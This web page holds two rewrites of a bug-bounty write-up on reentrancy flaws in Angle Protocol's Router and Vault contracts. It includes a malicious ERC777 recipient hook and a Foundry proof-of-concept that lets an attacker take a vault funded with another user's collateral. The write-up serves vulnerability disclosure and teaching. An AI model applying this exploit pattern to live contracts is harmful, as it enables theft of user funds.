Skip to content
Race condition Write-up Advanced

[web3] Stealing in motion: Immunefi bounty hunting from different Angle. Those familiar with DeFi know that there… | by deliriusz.eth | May, 2023 | Medium

The Angle Protocol's Router contract lacked reentrancy protection, allowing an attacker to reenter via a malicious ERC777 recipient hook and create a new vault, then add collateral to it, stealing funds from another user's transaction. The Vault contract's createVault function also lacked reentrancy protection, enabling a similar attack to steal a newly created vault.

medium.com

Published on medium.com

Web3 Security

deliriusz.eth, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Angle Protocol describes itself as a protocol designed to issue stablecoins pegged to potentially any value. The research described here was carried out as the first task of a mentorship programme, with the goal of finding a security issue in the protocol's codebase. The protocol was already well established and had gone through several audits.

Two features are central to the write-up:

  • The Router contract, which batches multiple operations across the whole protocol into a single transaction. Each action consists of an action type, a destination address and bytes calldata. When an action operates on funds (tokens, native currency and so on), the funds are first sent to the contract and swept back to the recipient at the end, enforcing a minimum return payment where applicable. The Router exposes mixer() and a related mixerVaultManagerPermit() that can temporarily give the Router permission to manage a user's vaults.
  • The Vault contract, which lets a user perform multiple actions (staking, borrowing, margin trading and so on) for a single collateral/stablecoin pair. It also implements the router pattern, so several operations can be batched into one transaction. Each user can create multiple vaults, and each vault is a non-fungible ERC721 token that can be transferred. If a user does not specify a vaultID, it is automatically set to the most recent vaultID, which prevents front-running on new vaults.

Setup

The work combined manual code reading, pen-and-paper analysis, fuzzing and proof-of-concept tests. The PoC code is published in the researcher's GitHub repository, deliriusz/Angle-bb-poc. The write-up does not list tool versions, fork block numbers or the exact test harness; the test snippets shown are Foundry-style (they use vm.prank, vm.stopPrank and assertEq).

Finding it

The first thing that stood out was that Router.mixer() has no reentrancy protection:

Solidity
function mixer(        PermitType[] memory paramsPermit,        ActionType[] calldata actions,        bytes[] calldata data    ) public payable virtual {...}

That is dangerous on its own because the function makes multiple unsafe external calls that can reenter the contract. The same class of issue had been found in the Uniswap V3 Router. The researcher found a way to reenter, but it required the user to pass a malicious contract, and at that point the Router was thought to integrate only with Angle contracts that use safe tokens. There were also no transactions on this contract on mainnet to verify behaviour against, so a PoC that relied on a malicious contract could be dismissed as unrealistic.

Later the contract was updated. The changes were mostly cosmetic, but one of them changed the picture: operations with "SavingsRate" in the name became "ERC4626":

Diff
enum ActionType {     gaugeDeposit,     borrower,     swapper,-    mintSavingsRate,-    depositSavingsRate,-    redeemSavingsRate,-    withdrawSavingsRate,+    mint4626,+    deposit4626,+    redeem4626,+    withdraw4626,     prepareRedeemSavingsRate,     claimRedeemSavingsRate,     swapIn,

Grepping for 4626 vaults turned up an ERC4626 vault implementation, and a comment in BaseReactor::_deposit() reading "Need to transfer before minting or ERC777s could reenter". Since there are no restrictions on the recipients, an ERC777 token transfer can call back into the contract and let a malicious user steal other users' funds. Under Immunefi's standards this is "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield", which qualifies as critical.

While looking at the Vault contract, the researcher noticed that a user does not have to define the vaultID they act on: it defaults to the most recent vaultID. Batching several operations into one transaction raised the question of whether someone else's vault could be stolen within a single transaction. A reentrancy flag is set in that case, so the obvious route was closed. The missing piece was Router.mixerVaultManagerPermit(), which works like mixer() but can temporarily grant the Router permission to manage the user's vaults. Reentering it to create a new vault and receive the next vault's tokens looked promising, but the Router overwrites all zero vaultIDs with the most recent one before calling the Vault, and the ID is not incremented at that moment, so the attack fails. The check lives in _parseVaultIDs():

Solidity
 function _parseVaultIDs(        ActionBorrowType[] memory actionsBorrow,        bytes[] memory dataBorrow,        address vaultManager,        address collateral    ) internal view returns (bytes[] memory) {        uint256 actionsBorrowLength = actionsBorrow.length;        uint256[] memory vaultIDsToCheckOwnershipOf = new uint256[](actionsBorrowLength);        bool createVaultAction;        uint256 lastVaultID;        uint256 vaultIDLength;        for (uint256 i; i < actionsBorrowLength; ++i) {            uint256 vaultID;                                    if (actionsBorrow[i] == ActionBorrowType.createVault) {                createVaultAction = true;                continue;                                            } else if (actionsBorrow[i] == ActionBorrowType.addCollateral) {                uint256 amount;                (vaultID, amount) = abi.decode(dataBorrow[i], (uint256, uint256));                if (amount == type(uint256).max)                    dataBorrow[i] = abi.encode(vaultID, IERC20(collateral).balanceOf(address(this)));                continue;                            } else if (                actionsBorrow[i] == ActionBorrowType.removeCollateral ||                actionsBorrow[i] == ActionBorrowType.borrow            ) {                (vaultID, ) = abi.decode(dataBorrow[i], (uint256, uint256));            } else if (actionsBorrow[i] == ActionBorrowType.closeVault) {                vaultID = abi.decode(dataBorrow[i], (uint256));            } else if (actionsBorrow[i] == ActionBorrowType.getDebtIn) {                (vaultID, , , ) = abi.decode(dataBorrow[i], (uint256, address, uint256, uint256));            } else continue;                                    if (vaultID == 0) {                if (createVaultAction) {                    continue;                } else {                                        if (lastVaultID == 0) {                        lastVaultID = IVaultManagerStorage(vaultManager).vaultIDCount();                    }                    vaultID = lastVaultID;                }            }                        for (uint256 j; j < vaultIDLength; ++j) {                if (vaultIDsToCheckOwnershipOf[j] == vaultID) {                                        continue;                }            }                        if (!IVaultManagerFunctions(vaultManager).isApprovedOrOwner(msg.sender, vaultID)) {                revert NotApprovedOrOwner();            }            vaultIDsToCheckOwnershipOf[vaultIDLength] = vaultID;            vaultIDLength += 1;        }        return dataBorrow;    }

Manual analysis, pen-and-paper review and fuzzing did not get around this. The function that broke it open was Vault.createVault(address): it does one thing, creating a new vault for anyone, and it has no reentrancy protection.

Exploitation

At the time of the second submission there were already transactions on the Vault using the Router as an entry point, and they split vault creation and funds transfer into two separate operations, similar to the planned PoC. The action sequence is:

  1. create a vault
  2. transfer ERC777 to a malicious user
  3. the malicious callback creates a new vault for the attacker
  4. add collateral to the new vault, so the attacker receives the collateral

Step 1: the malicious recipient hook

The callback contract implements IERC777Recipient, ERC1820ImplementerInterface, IERC721Receiver and a Common base. Its tokensReceived hook creates a vault and grants approvals:

Solidity
contract MaliciousRecipientHook is IERC777Recipient, ERC1820ImplementerInterface, IERC721Receiver, Common {    ...            function tokensReceived(        address operator,        address from,        address to,        uint256 amount,        bytes calldata userData,        bytes calldata operatorData    ) external {      vaultManager.createVault(address(this));                  IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), true);       IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(approvalFor, true);      IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(recipient, true);    }    ...}

When the ERC777 transfer reaches this contract, tokensReceived runs inside the Router's transaction and calls vaultManager.createVault(address(this)) directly, bypassing the Router's vaultID rewriting. It then approves the Router and the other addresses to move the newly created vault token.

Step 2: the batched Router call

The test builds the action arrays and calls mixerVaultManagerPermit(). About 100 lines of setup are omitted:

Solidity
    ...    aliceActionsRouter[0] = ActionType.transfer;        aliceDataRouter[0] = abi.encode(VAULT_COLLATERAL, address(angleRouter), 1e8);    aliceActionsRouter[1] = ActionType.transfer;     aliceDataRouter[1] = abi.encode(address(erc777), address(angleRouter), 1e18);    aliceActionsRouter[2] = ActionType.borrower;    aliceDataRouter[2] = abi.encode(VAULT_COLLATERAL, VAULT_MANAGER_ADDRESS,                      address(angleRouter), address(0),                      actionsBorrow, dataBorrow,                      repayData              );    aliceActionsRouter[3] = ActionType.sweep;     aliceDataRouter[3] = abi.encode(address(erc777), 1e18, BOB_ADDRESS);    aliceActionsRouter[4] = ActionType.borrower;    aliceDataRouter[4] = abi.encode(VAULT_COLLATERAL, VAULT_MANAGER_ADDRESS,                      address(angleRouter), address(0),                      actionsBorrow2, dataBorrow2,                      repayData              );    PermitVaultManagerType[] memory paramsPermitVaultManager = new PermitVaultManagerType[] (0);     IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), true);    angleRouter.mixerVaultManagerPermit(paramsPermitVaultManager, aliceParamsPermitRouter, aliceActionsRouter, aliceDataRouter);    IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), false);    vm.stopPrank();    uint256 bobVaultID = vaultManagerStorage.vaultIDCount();    vm.prank(BOB_ADDRESS);    maliciousERC777Recipient.getVaultOwnership(bobVaultID);        assertEq(vaultIDBefore + 2, bobVaultID);    assertEq(IERC721(VAULT_MANAGER_ADDRESS).ownerOf(bobVaultID), BOB_ADDRESS);    (uint256 collateralAmountBob, uint256 normalizedDebtBob) = vaultManagerStorage.vaultData(bobVaultID);        assertEq(collateralAmountBob, 1e8);    assertTrue(normalizedDebtBob < 5000e18 && normalizedDebtBob > 490e18);    ...

The actions transfer collateral and ERC777 tokens to the Router, run a borrower action, sweep the ERC777 to BOB_ADDRESS, and run a second borrower action. The ERC777 transfer triggers the hook from step 1, which creates the attacker's vault in the middle of the batch.

Step 3: the result

The test passes. The vault count has advanced by two (vaultIDBefore + 2), the new vault is owned by BOB_ADDRESS, its collateral is 1e8, and its normalised debt is asserted to be between 490e18 and 5000e18. The submission was rejected, and Immunefi agreed with the protocol team.

Root cause

The Router's mixer() and mixerVaultManagerPermit() make external calls without reentrancy protection, and Vault.createVault(address) can be called by anyone with no reentrancy protection. The Router's protection against vaultID confusion, the rewriting of zero vaultIDs to the most recent ID in _parseVaultIDs(), only applies to actions routed through the Router. A direct call to createVault() from an ERC777 recipient hook runs inside the same transaction but outside that rewriting, so the attacker's vault is created and then funded by a later action in the same batch. The ERC777 token's callback is the trigger; the report notes that ERC777 uses an external contract as a message hook registry, so even an EOA can define a malicious hook contract, and that this is not trivial to verify.

Impact

Under Immunefi's severity standards the issue is "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield", which is critical. In the PoC the attacker ends up owning a vault funded with another user's collateral. The protocol team's position was that the attack requires deliberate user action to call a malicious recipient, and Immunefi agreed, so the submission was rejected. The researcher disagreed, because the ERC777 hook can be registered by an EOA through an external contract and is not easy to check.

Separately, the researcher observed a few hundred dollars being swapped through the Router and about $20 stuck in the contract for anyone to take. The team said the feature was still in testing, so this was not treated as an issue.

Fix

The report does not describe a fix being applied. The researcher's view is that both issues should be fixed, because new projects built on top of Angle Protocol may use the Router and transfer tokens or create vaults on behalf of other users. The researcher's view is that both issues should be fixed.

Variants to test

  • Router entry points without reentrancy guards. Look for batch functions that make external calls to token contracts and check whether a callback can reenter. A positive result is a state change (new vault, new position, changed balance) that is visible after the batch completes.
  • Default-ID logic bypassed by direct calls. Where a router rewrites zero IDs to the latest ID, look for a contract function that creates the resource directly and is callable from a token callback. A positive result is a resource created mid-batch and then funded by a later action in the same transaction.
  • ERC777 hooks on EOAs. Check whether a recipient can register a hook contract without deploying a contract as the caller. A positive result is a hook that runs during a transfer initiated by an EOA.
  • Stuck balances in routers. Check whether tokens sent to a router can be swept by anyone. A positive result is a sweep call that succeeds for an unrelated account.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A security researcher was given a task: look through the code of Angle Protocol, a system for creating stablecoins (digital currencies designed to keep a steady value), and try to find a security problem. The system was already well known and had been checked by professional reviewers several times, so finding something was hard.

He found two problems. Both involved the same idea: a contract (a small program that lives on a blockchain) could be tricked into doing something in the middle of an operation, before the operation had finished. In both cases he wrote a test that proved the trick worked, sent it to the bug bounty platform Immunefi, and both times the submission was rejected. This article walks through what he found, in the order he found it, and explains every piece of jargon along the way.

Photo by Towfiqu barbhuiya on Unsplash From the original on medium.com

Photo by Towfiqu barbhuiya on Unsplash

The setting: what Angle Protocol is

Angle Protocol describes itself as a protocol designed to issue stablecoins pegged to potentially any value. In everyday terms: it is a set of programs on a blockchain that let people create digital currencies whose price is tied to something else (a normal currency, a commodity, and so on).

A few words you need before going further:

  • Blockchain: a shared ledger that many computers keep in sync. Once something is written, it is very hard to change.
  • Smart contract: a program stored on the blockchain. Anyone can send it a message (a transaction) asking it to do something, and it runs automatically.
  • Transaction: a single request sent to the blockchain. It either fully succeeds or fully fails; there is no half-done state.
  • Token: a digital asset managed by a smart contract. Some tokens represent money, some represent a share, some represent ownership of something.
  • Stablecoin: a token designed to keep a fixed price, for example one dollar.

Two parts of Angle matter for this story.

The Router

The Router is a contract that lets you bundle several operations into one transaction. Imagine a courier service: instead of making five separate trips, you hand the courier a list of five errands and they do them all in one go. That is the router pattern, and it is common in projects that offer several products.

Each action in the bundle has three parts: an action type (what to do), a destination address (who to do it to) and some raw data (the details). If an action deals with funds, the funds are first sent to the Router contract, and at the end whatever is left is swept back to the recipient. A minimum return payment can be enforced.

The Router has a function called mixer() and a related one called mixerVaultManagerPermit(). The second one can temporarily give the Router permission to manage a user's vaults.

The Vault

A Vault is a contract that lets a user do several things with one pair of assets: a collateral (something put up as security) and a stablecoin. Examples of actions are staking (locking tokens to earn something), borrowing (taking a loan against the collateral) and margin trading (trading with borrowed money). The Vault also uses the router pattern, so several operations can be bundled into one transaction.

Each user can create several vaults. Each vault is a non-fungible token (NFT): a token that is unique and can be transferred to someone else, like a deed to a specific house rather than a banknote.

One detail matters a lot later. If a user does not say which vault they mean, the system automatically uses the most recent vault. This is deliberate: it stops someone from jumping in front of a new vault creation and grabbing it (an attack called front-running, where someone sees your pending action and slips their own in first).

How the research was done

The researcher read the code carefully and wrote small test programs to prove his ideas. The test code is published in his GitHub repository, deliriusz/Angle-bb-poc. The snippets shown below are written in a testing style that uses commands like vm.prank, vm.stopPrank and assertEq; you do not need to know them to follow the story, only that they let a test pretend to be a particular user and then check that a value is what was expected.

Finding the first problem

The first thing that stood out was that Router.mixer() has no protection against reentrancy:

Solidity
function mixer(        PermitType[] memory paramsPermit,        ActionType[] calldata actions,        bytes[] calldata data    ) public payable virtual {...}

Line by line, in plain words:

  • function mixer( starts the definition of a function called mixer.
  • PermitType[] memory paramsPermit, is a list of permissions the caller supplies.
  • ActionType[] calldata actions, is the list of actions to perform, in order.
  • bytes[] calldata data is the matching list of details for each action.
  • ) public payable virtual {...} means anyone can call it, it can receive money (payable), and the body is omitted here.

Reentrancy is the key idea. Picture a shop assistant who takes your order, walks to the back room, and while they are away you climb over the counter and serve yourself. In software, it means: a contract calls out to another contract, and that other contract calls back into the first one before the first call has finished. If the first contract has not yet updated its records, the second call sees stale information and can do things it should not.

Why is this dangerous here? Because mixer() makes several calls to outside contracts. Any of those calls could reenter. The same class of issue had been found in the Uniswap V3 Router, a well-known piece of infrastructure.

The researcher did find a way to reenter, but it required the user to pass in a malicious contract. At the time, the Router was thought to work only with Angle's own contracts, which use safe tokens. There were also no transactions on this Router on the main network to compare against, so a proof that relied on a malicious contract could be waved away as unrealistic. He needed a better justification.

A small code change opens a door

Later the contract was updated. Most changes were cosmetic, but one changed everything. Operations whose names contained "SavingsRate" became "ERC4626":

Diff
enum ActionType {     gaugeDeposit,     borrower,     swapper,-    mintSavingsRate,-    depositSavingsRate,-    redeemSavingsRate,-    withdrawSavingsRate,+    mint4626,+    deposit4626,+    redeem4626,+    withdraw4626,     prepareRedeemSavingsRate,     claimRedeemSavingsRate,     swapIn,

This is a diff: lines starting with - were removed and lines starting with + were added. In plain words, the list of possible action types used to have four entries about a "SavingsRate" and now has four entries about "4626".

ERC4626 is a standard for a kind of vault contract that holds one token and gives out shares in return. The researcher searched the codebase for "4626" and found an implementation of that standard. More interestingly, he found a comment in a function called BaseReactor::_deposit() that said: "Need to transfer before minting or ERC777s could reenter".

That comment is a warning sign. ERC777 is a token standard with a special feature: when tokens are transferred, the token contract can call a function on the recipient to notify them. That notification is a hook, and a hook is exactly the kind of outside call that enables reentrancy. The comment shows the developers knew about the risk in one place.

Since there were no restrictions on who could be a recipient, an ERC777 transfer could call back into the contract and let a malicious user steal other users' funds. Under Immunefi's standards, this is "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield", which qualifies as critical. In plain words: if you can take someone else's money, whether it is sitting still or moving through a transaction, that is the most serious kind of bug a bounty programme pays for.

Finding the second problem

While looking at the Vault contract, the researcher noticed the detail about the default vault: if you do not name a vault, the most recent one is used. Since several operations can be bundled into one transaction, he asked: could someone steal another person's vault inside a single transaction?

The obvious route was closed: in that situation a reentrancy flag is set, which blocks the trick.

The missing piece was Router.mixerVaultManagerPermit(). It works like mixer() but can temporarily grant the Router permission to manage the user's vaults. Reentering it to create a new vault and receive the next vault's tokens looked promising. But the Router rewrites every zero vault ID to the most recent one before calling the Vault, and at that moment the ID has not yet been incremented, so the attack fails. That check lives in a function called _parseVaultIDs():

Solidity
 function _parseVaultIDs(        ActionBorrowType[] memory actionsBorrow,        bytes[] memory dataBorrow,        address vaultManager,        address collateral    ) internal view returns (bytes[] memory) {        uint256 actionsBorrowLength = actionsBorrow.length;        uint256[] memory vaultIDsToCheckOwnershipOf = new uint256[](actionsBorrowLength);        bool createVaultAction;        uint256 lastVaultID;        uint256 vaultIDLength;        for (uint256 i; i < actionsBorrowLength; ++i) {            uint256 vaultID;                                    if (actionsBorrow[i] == ActionBorrowType.createVault) {                createVaultAction = true;                continue;                                            } else if (actionsBorrow[i] == ActionBorrowType.addCollateral) {                uint256 amount;                (vaultID, amount) = abi.decode(dataBorrow[i], (uint256, uint256));                if (amount == type(uint256).max)                    dataBorrow[i] = abi.encode(vaultID, IERC20(collateral).balanceOf(address(this)));                continue;                            } else if (                actionsBorrow[i] == ActionBorrowType.removeCollateral ||                actionsBorrow[i] == ActionBorrowType.borrow            ) {                (vaultID, ) = abi.decode(dataBorrow[i], (uint256, uint256));            } else if (actionsBorrow[i] == ActionBorrowType.closeVault) {                vaultID = abi.decode(dataBorrow[i], (uint256));            } else if (actionsBorrow[i] == ActionBorrowType.getDebtIn) {                (vaultID, , , ) = abi.decode(dataBorrow[i], (uint256, address, uint256, uint256));            } else continue;                                    if (vaultID == 0) {                if (createVaultAction) {                    continue;                } else {                                        if (lastVaultID == 0) {                        lastVaultID = IVaultManagerStorage(vaultManager).vaultIDCount();                    }                    vaultID = lastVaultID;                }            }                        for (uint256 j; j < vaultIDLength; ++j) {                if (vaultIDsToCheckOwnershipOf[j] == vaultID) {                                        continue;                }            }                        if (!IVaultManagerFunctions(vaultManager).isApprovedOrOwner(msg.sender, vaultID)) {                revert NotApprovedOrOwner();            }            vaultIDsToCheckOwnershipOf[vaultIDLength] = vaultID;            vaultIDLength += 1;        }        return dataBorrow;    }

This is a long function, so here is what it does step by step:

  1. It receives the list of actions and their data, plus the address of the vault manager and the collateral token.
  2. It creates an empty list to remember which vault IDs it has already checked.
  3. It sets up a few bookkeeping variables: whether a create-vault action is present, the last vault ID seen, and how many IDs have been checked.
  4. It loops over every action in the list.
  5. For a createVault action, it notes that a vault will be created and moves on.
  6. For an addCollateral action, it reads the vault ID and the amount from the data. If the amount is the maximum possible number (a special value meaning "all of it"), it replaces it with the Router's current balance of the collateral token.
  7. For removeCollateral or borrow, it reads the vault ID from the data.
  8. For closeVault, it reads the vault ID.
  9. For getDebtIn, it reads the vault ID and skips the other values.
  10. For any other action, it moves on.
  11. If the vault ID is zero (meaning "not specified"), and a create-vault action is present, it skips the check. Otherwise it looks up the most recent vault ID and uses that.
  12. It checks whether this vault ID has already been checked; if so, it skips the duplicate.
  13. It asks the vault manager whether the caller is approved for or owns that vault. If not, it stops with an error.
  14. It records the vault ID as checked and increments the counter.
  15. At the end it returns the (possibly modified) data.

The important part is step 11: the Router fills in the most recent vault ID before the Vault is ever called. So a reentrant call that creates a new vault does not get the new ID through this path.

Manual reading, pen-and-paper review and fuzzing (feeding the program lots of random inputs to see if anything breaks) did not get around this. Then he found the function that broke it open: Vault.createVault(address). It does one thing, creating a new vault for anyone, and it has no reentrancy protection.

Exploiting it

At the time of the second submission there were already transactions on the Vault that used the Router as an entry point, and they split vault creation and funds transfer into two separate operations, similar to the planned proof. The sequence of actions is:

  1. create a vault
  2. transfer ERC777 to a malicious user
  3. the malicious callback creates a new vault for the attacker
  4. add collateral to the new vault, so the attacker receives the collateral

Step 1: the malicious recipient hook

The callback contract implements IERC777Recipient, ERC1820ImplementerInterface, IERC721Receiver and a Common base. In plain words, it declares that it knows how to receive ERC777 tokens, how to be registered as a hook, how to receive NFTs, and it shares some common code. Its tokensReceived hook creates a vault and grants approvals:

Solidity
contract MaliciousRecipientHook is IERC777Recipient, ERC1820ImplementerInterface, IERC721Receiver, Common {    ...            function tokensReceived(        address operator,        address from,        address to,        uint256 amount,        bytes calldata userData,        bytes calldata operatorData    ) external {      vaultManager.createVault(address(this));                  IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), true);       IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(approvalFor, true);      IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(recipient, true);    }    ...}

Line by line:

  • contract MaliciousRecipientHook is ... defines a contract that claims to be several things at once: an ERC777 recipient, a hook registry implementer, an NFT receiver, and a common base.
  • function tokensReceived( defines the function that the ERC777 token will call when tokens arrive.
  • The parameters (operator, from, to, amount, userData, operatorData) are the details of the transfer: who sent it, who receives it, how much, and any extra data.
  • vaultManager.createVault(address(this)); creates a new vault owned by this contract. This is the crucial line: it calls the vault manager directly, not through the Router, so the Router's vault ID rewriting never happens.
  • The three setApprovalForAll lines give the Router and two other addresses permission to move the newly created vault token.

When the ERC777 transfer reaches this contract, tokensReceived runs inside the Router's transaction and creates a vault directly, bypassing the Router's rewriting. It then approves the Router and the other addresses to move the new vault token.

Step 2: the batched Router call

The test builds the action lists and calls mixerVaultManagerPermit(). About 100 lines of setup are omitted:

Solidity
    ...    aliceActionsRouter[0] = ActionType.transfer;        aliceDataRouter[0] = abi.encode(VAULT_COLLATERAL, address(angleRouter), 1e8);    aliceActionsRouter[1] = ActionType.transfer;     aliceDataRouter[1] = abi.encode(address(erc777), address(angleRouter), 1e18);    aliceActionsRouter[2] = ActionType.borrower;    aliceDataRouter[2] = abi.encode(VAULT_COLLATERAL, VAULT_MANAGER_ADDRESS,                      address(angleRouter), address(0),                      actionsBorrow, dataBorrow,                      repayData              );    aliceActionsRouter[3] = ActionType.sweep;     aliceDataRouter[3] = abi.encode(address(erc777), 1e18, BOB_ADDRESS);    aliceActionsRouter[4] = ActionType.borrower;    aliceDataRouter[4] = abi.encode(VAULT_COLLATERAL, VAULT_MANAGER_ADDRESS,                      address(angleRouter), address(0),                      actionsBorrow2, dataBorrow2,                      repayData              );    PermitVaultManagerType[] memory paramsPermitVaultManager = new PermitVaultManagerType[] (0);     IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), true);    angleRouter.mixerVaultManagerPermit(paramsPermitVaultManager, aliceParamsPermitRouter, aliceActionsRouter, aliceDataRouter);    IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), false);    vm.stopPrank();    uint256 bobVaultID = vaultManagerStorage.vaultIDCount();    vm.prank(BOB_ADDRESS);    maliciousERC777Recipient.getVaultOwnership(bobVaultID);        assertEq(vaultIDBefore + 2, bobVaultID);    assertEq(IERC721(VAULT_MANAGER_ADDRESS).ownerOf(bobVaultID), BOB_ADDRESS);    (uint256 collateralAmountBob, uint256 normalizedDebtBob) = vaultManagerStorage.vaultData(bobVaultID);        assertEq(collateralAmountBob, 1e8);    assertTrue(normalizedDebtBob < 5000e18 && normalizedDebtBob > 490e18);    ...

Line by line, in plain words:

  • aliceActionsRouter[0] = ActionType.transfer; and aliceDataRouter[0] = abi.encode(VAULT_COLLATERAL, address(angleRouter), 1e8); set the first action: transfer the collateral token to the Router, amount 1e8 (a way of writing a number with 8 decimal places, common for tokens).
  • The second action transfers the ERC777 token to the Router, amount 1e18.
  • The third action is a borrower action: it tells the Router to call the vault manager with a set of borrowing actions and data.
  • The fourth action is a sweep: it sends the ERC777 tokens to BOB_ADDRESS.
  • The fifth action is another borrower action with a second set of borrowing actions and data.
  • PermitVaultManagerType[] memory paramsPermitVaultManager = new PermitVaultManagerType[] (0); creates an empty list of permissions.
  • IERC721(VAULT_MANAGER_ADDRESS).setApprovalForAll(address(angleRouter), true); lets the Router move the caller's vault tokens.
  • angleRouter.mixerVaultManagerPermit(...) is the actual call that runs the whole batch.
  • The next setApprovalForAll(..., false) removes that permission again.
  • vm.stopPrank(); ends the test's pretence of being a particular user.
  • uint256 bobVaultID = vaultManagerStorage.vaultIDCount(); reads how many vaults exist, which is the ID of the most recently created one.
  • vm.prank(BOB_ADDRESS); makes the next call appear to come from Bob.
  • maliciousERC777Recipient.getVaultOwnership(bobVaultID); asks the malicious contract to claim ownership of that vault.
  • assertEq(vaultIDBefore + 2, bobVaultID); checks that two vaults were created during the batch.
  • assertEq(IERC721(VAULT_MANAGER_ADDRESS).ownerOf(bobVaultID), BOB_ADDRESS); checks that the new vault belongs to Bob.
  • The next lines read the vault's collateral and debt, then check that the collateral is 1e8 and the debt is between 490e18 and 5000e18.

What the actions do, in order: transfer collateral and ERC777 tokens to the Router, run a borrower action, sweep the ERC777 to BOB_ADDRESS, and run a second borrower action. The ERC777 transfer triggers the hook from step 1, which creates the attacker's vault in the middle of the batch.

Step 3: the result

The test passes. The vault count has advanced by two, the new vault is owned by BOB_ADDRESS, its collateral is 1e8, and its normalised debt is asserted to be below 5000e18 and above 490e18. The submission was rejected, and Immunefi agreed with the protocol team.

Why it worked

The Router's mixer() and mixerVaultManagerPermit() make outside calls without reentrancy protection, and Vault.createVault(address) can be called by anyone with no reentrancy protection either. The Router's protection against vault ID confusion, the rewriting of zero vault IDs to the most recent ID in _parseVaultIDs(), only applies to actions that go through the Router. A direct call to createVault() from an ERC777 recipient hook runs inside the same transaction but outside that rewriting, so the attacker's vault is created and then funded by a later action in the same batch.

The ERC777 token's callback is the trigger. The report notes that ERC777 uses an external contract as a message hook registry, so even an ordinary user account (an EOA, an externally owned account, meaning a normal wallet rather than a contract) can define a malicious hook contract, and that this is not trivial to verify.

What the impact was judged to be

Under Immunefi's severity standards the issue is "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield", which is critical. In the proof, the attacker ends up owning a vault funded with another user's collateral.

The protocol team's position was that the attack requires deliberate user action to call a malicious recipient, and Immunefi agreed, so the submission was rejected. The researcher disagreed, because the ERC777 hook can be registered by an EOA through an external contract and is not easy to check.

Separately, the researcher observed a few hundred dollars being swapped through the Router and about $20 stuck in the contract for anyone to take. The team said the feature was still in testing, so this was not treated as an issue.

Was it fixed?

The report does not describe a fix being applied. The researcher's view is that both issues should be fixed, because new projects built on top of Angle Protocol may use the Router and transfer tokens or create vaults on behalf of other users. The researcher's view is that both issues should be fixed.

Things worth testing in other projects

  • Router entry points without reentrancy guards. Look for batch functions that make outside calls to token contracts and check whether a callback can reenter. A positive result is a state change (new vault, new position, changed balance) that is visible after the batch completes.
  • Default-ID logic bypassed by direct calls. Where a router rewrites zero IDs to the latest ID, look for a contract function that creates the resource directly and is callable from a token callback. A positive result is a resource created mid-batch and then funded by a later action in the same transaction.
  • ERC777 hooks on EOAs. Check whether a recipient can register a hook contract without deploying a contract as the caller. A positive result is a hook that runs during a transfer initiated by an EOA.
  • Stuck balances in routers. Check whether tokens sent to a router can be swept by anyone. A positive result is a sweep call that succeeds for an unrelated account.

Glossary

  • Blockchain: a shared ledger kept in sync by many computers, where entries are very hard to change.
  • Smart contract: a program stored on a blockchain that runs automatically when someone sends it a transaction.
  • Transaction: a single request sent to a blockchain; it either fully succeeds or fully fails.
  • Stablecoin: a token designed to keep a fixed price.
  • Protocol: a set of smart contracts that together provide a service.
  • Router: a contract that bundles several operations into one transaction.
  • Router pattern: the design of batching multiple actions into a single transaction, with funds sent in first and swept back at the end.
  • Vault: a contract that lets a user perform several actions on one collateral/stablecoin pair.
  • Collateral: an asset put up as security for a loan or position.
  • Staking: locking tokens, usually to earn something in return.
  • Borrowing: taking a loan, here against collateral.
  • Margin trading: trading with borrowed money.
  • NFT (non-fungible token): a unique token that can be transferred, like a deed rather than a banknote.
  • ERC721: the standard for NFTs.
  • ERC4626: a standard for vault contracts that hold one token and issue shares.
  • ERC777: a token standard whose transfers can call a function on the recipient to notify them.
  • Hook: a function that a contract calls on another contract during an operation, for example to notify it of a transfer.
  • Callback: another word for a hook; code that runs in response to an event.
  • Reentrancy: when a contract calls out to another contract and that contract calls back in before the first call has finished, potentially seeing stale records.
  • Reentrancy protection / guard: code that blocks a second entry into a function while the first is still running.
  • Front-running: slipping an action in ahead of someone else's pending action to gain an advantage.
  • Fuzzing: feeding a program many random inputs to see whether anything breaks.
  • EOA (externally owned account): a normal wallet controlled by a person, as opposed to a contract.
  • Mainnet: the main, live network of a blockchain.
  • Bug bounty: a programme that pays people for reporting security problems.
  • Immunefi: a platform that runs bug bounty programmes for blockchain projects.
  • Severity: how serious a bug is judged to be, for example critical.
  • Critical: the most serious severity level, typically direct theft of funds.
  • Proof of concept (PoC): a small program that demonstrates a bug actually works.
  • Diff: a display of code changes, with removed lines marked - and added lines marked +.
  • abi.encode: a way of packing values into raw bytes for a contract call.
  • assertEq: a test command that checks two values are equal.
  • vm.prank / vm.stopPrank: test commands that make the next call appear to come from a chosen address, and then stop that pretence.
  • 1e8, 1e18: shorthand for numbers with 8 or 18 decimal places, common in token amounts.
  • Normalised debt: a debt figure stored in a scaled form, which the test checks falls within a range.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.